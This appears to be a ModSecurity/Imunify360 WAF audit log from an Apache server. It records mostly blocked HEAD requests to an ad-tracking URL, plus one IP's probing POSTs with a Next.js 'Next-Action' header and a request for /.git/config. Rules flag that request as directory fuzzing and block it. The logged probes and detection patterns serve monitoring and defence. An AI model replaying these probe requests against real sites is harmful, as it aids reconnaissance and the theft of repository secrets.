--93c44403-Z--

--acea045b-A--
[13/Sep/2026:05:18:59.145180 +0300] aqYIE2M7dE9KgIIOpQhc4gAAANU 151.243.174.190 51758 127.0.0.1 7081
--acea045b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.190
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--acea045b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--acea045b-E--

--acea045b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265939139094 6125 (- - -)
Stopwatch2: 1789265939139094 6125; combined=4381, p1=239, p2=3824, p3=72, p4=7, p5=239, sr=101, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--acea045b-Z--

--78507328-A--
[13/Sep/2026:05:18:59.690942 +0300] aqYIE2M7dE9KgIIOpQhc4wAAANY 95.134.102.135 51768 127.0.0.1 7081
--78507328-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.135
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--78507328-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--78507328-E--

--78507328-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265939684819 6163 (- - -)
Stopwatch2: 1789265939684819 6163; combined=4580, p1=239, p2=4015, p3=72, p4=7, p5=246, sr=97, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--78507328-Z--

--ab367600-A--
[13/Sep/2026:05:19:00.145408 +0300] aqYIFEwu1RSkptiiNIXtNAAAAJY 151.243.174.132 51770 127.0.0.1 7081
--ab367600-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.132
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--ab367600-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--ab367600-E--

--ab367600-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265940138722 6723 (- - -)
Stopwatch2: 1789265940138722 6723; combined=4952, p1=227, p2=4426, p3=68, p4=6, p5=225, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ab367600-Z--

--6800d212-A--
[13/Sep/2026:05:19:20.505042 +0300] aqYIKGM7dE9KgIIOpQhc6AAAAMk 95.134.102.123 39432 127.0.0.1 7081
--6800d212-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.123
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--6800d212-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--6800d212-E--

--6800d212-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265960498377 6704 (- - -)
Stopwatch2: 1789265960498377 6704; combined=4671, p1=397, p2=3914, p3=75, p4=7, p5=278, sr=225, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6800d212-Z--

--0bb34e1d-A--
[13/Sep/2026:05:19:20.872836 +0300] aqYIKGM7dE9KgIIOpQhc6QAAAM0 151.243.174.142 39444 127.0.0.1 7081
--0bb34e1d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.142
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--0bb34e1d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--0bb34e1d-E--

--0bb34e1d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265960866791 6085 (- - -)
Stopwatch2: 1789265960866791 6085; combined=4523, p1=219, p2=3939, p3=66, p4=8, p5=291, sr=94, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0bb34e1d-Z--

--e6bd2071-A--
[13/Sep/2026:05:19:21.274397 +0300] aqYIKWM7dE9KgIIOpQhc6gAAAM8 151.243.174.132 39450 127.0.0.1 7081
--e6bd2071-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.132
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--e6bd2071-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--e6bd2071-E--

--e6bd2071-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265961260504 13943 (- - -)
Stopwatch2: 1789265961260504 13943; combined=7849, p1=284, p2=7166, p3=89, p4=8, p5=302, sr=126, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e6bd2071-Z--

--01596d60-A--
[13/Sep/2026:05:21:50.323050 +0300] aqYIvmM7dE9KgIIOpQhc-QAAAMY 45.91.4.144 53604 127.0.0.1 7081
--01596d60-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.144
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--01596d60-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--01596d60-E--

--01596d60-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789266110317262 5826 (- - -)
Stopwatch2: 1789266110317262 5826; combined=4382, p1=286, p2=3755, p3=91, p4=7, p5=243, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--01596d60-Z--

--ab367600-A--
[13/Sep/2026:05:21:50.685420 +0300] aqYIvjTJ6xTvcJoem7f1VQAAAEA 45.91.4.62 53608 127.0.0.1 7081
--ab367600-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.62
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--ab367600-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--ab367600-E--

--ab367600-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789266110677943 7517 (- - -)
Stopwatch2: 1789266110677943 7517; combined=5470, p1=287, p2=4773, p3=82, p4=9, p5=319, sr=118, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ab367600-Z--

--fe1c427b-A--
[13/Sep/2026:05:21:51.023121 +0300] aqYIvysVWymXUono-eRQmgAAABA 45.91.4.233 53618 127.0.0.1 7081
--fe1c427b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.233
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--fe1c427b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--fe1c427b-E--

--fe1c427b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789266111012232 10985 (- - -)
Stopwatch2: 1789266111012232 10985; combined=8129, p1=455, p2=7185, p3=129, p4=13, p5=346, sr=224, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fe1c427b-Z--

--2478b63d-A--
[13/Sep/2026:05:23:02.790901 +0300] aqYJBkwu1RSkptiiNIXtPwAAAJU 91.124.31.22 54024 127.0.0.1 7081
--2478b63d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.22
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--2478b63d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--2478b63d-E--

--2478b63d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789266182783248 7713 (- - -)
Stopwatch2: 1789266182783248 7713; combined=5713, p1=334, p2=4964, p3=100, p4=11, p5=304, sr=125, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2478b63d-Z--

--deb6cb61-A--
[13/Sep/2026:05:23:03.137691 +0300] aqYJB2M7dE9KgIIOpQhdDwAAAMk 46.203.158.83 54030 127.0.0.1 7081
--deb6cb61-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--deb6cb61-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--deb6cb61-E--

--deb6cb61-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789266183128478 9268 (- - -)
Stopwatch2: 1789266183128478 9268; combined=6460, p1=317, p2=5722, p3=86, p4=10, p5=325, sr=120, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--deb6cb61-Z--

--74290d48-A--
[13/Sep/2026:05:23:03.454827 +0300] aqYJB0wu1RSkptiiNIXtQAAAAJc 46.203.158.165 54032 127.0.0.1 7081
--74290d48-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.165
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--74290d48-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--74290d48-E--

--74290d48-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789266183447530 7355 (- - -)
Stopwatch2: 1789266183447530 7355; combined=5473, p1=339, p2=4727, p3=82, p4=10, p5=315, sr=164, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--74290d48-Z--

--2478b63d-A--
[13/Sep/2026:05:32:35.832973 +0300] aqYLQzTJ6xTvcJoem7f1awAAAFM 34.175.231.24 36730 127.0.0.1 7081
--2478b63d-B--
POST / HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 748
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Content-Type: multipart/form-data; boundary=--------WebKitFormBoundary606e0ebe08a94c51
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--2478b63d-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2478b63d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266755630218 202850 (- - -)
Stopwatch2: 1789266755630218 202850; combined=5656, p1=274, p2=5033, p3=0, p4=0, p5=348, sr=105, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2478b63d-Z--

--75fb8f79-A--
[13/Sep/2026:05:32:37.086659 +0300] aqYLRGM7dE9KgIIOpQhdcwAAAMA 34.175.231.24 36740 127.0.0.1 7081
--75fb8f79-B--
POST / HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 860
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Content-Type: multipart/form-data; boundary=--------WebKitFormBoundary0dd159bd1d764243
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--75fb8f79-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--75fb8f79-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266756957814 128919 (- - -)
Stopwatch2: 1789266756957814 128919; combined=7992, p1=891, p2=6786, p3=0, p4=0, p5=315, sr=118, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--75fb8f79-Z--

--74290d48-A--
[13/Sep/2026:05:32:37.965844 +0300] aqYLRTTJ6xTvcJoem7f1bAAAAEM 34.175.231.24 36744 127.0.0.1 7081
--74290d48-B--
POST / HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 636
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Content-Type: multipart/form-data; boundary=--------WebKitFormBoundaryf9c275d1dccb47f8
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--74290d48-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--74290d48-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266757842195 123741 (- - -)
Stopwatch2: 1789266757842195 123741; combined=8130, p1=404, p2=7272, p3=0, p4=0, p5=454, sr=127, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--74290d48-Z--

--e8c15e5d-A--
[13/Sep/2026:05:32:39.021601 +0300] aqYLRmM7dE9KgIIOpQhddQAAANg 34.175.231.24 36758 127.0.0.1 7081
--e8c15e5d-B--
GET /.git/config HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--e8c15e5d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e8c15e5d-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYLRmM7dE9KgIIOpQhddQAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYLRmM7dE9KgIIOpQhddQAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYLRmM7dE9KgIIOpQhddQAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266758831517 190204 (- - -)
Stopwatch2: 1789266758831517 190204; combined=41189, p1=6729, p2=34367, p3=0, p4=0, p5=92, sr=205, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e8c15e5d-Z--

--e60bf642-A--
[13/Sep/2026:05:32:39.786323 +0300] aqYLRzTJ6xTvcJoem7f1bgAAAFY 34.175.231.24 36772 127.0.0.1 7081
--e60bf642-B--
POST / HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 13
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
Content-Type: application/x-www-form-urlencoded

--e60bf642-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e60bf642-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266759654699 131687 (- - -)
Stopwatch2: 1789266759654699 131687; combined=6446, p1=327, p2=5784, p3=0, p4=0, p5=334, sr=120, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e60bf642-Z--

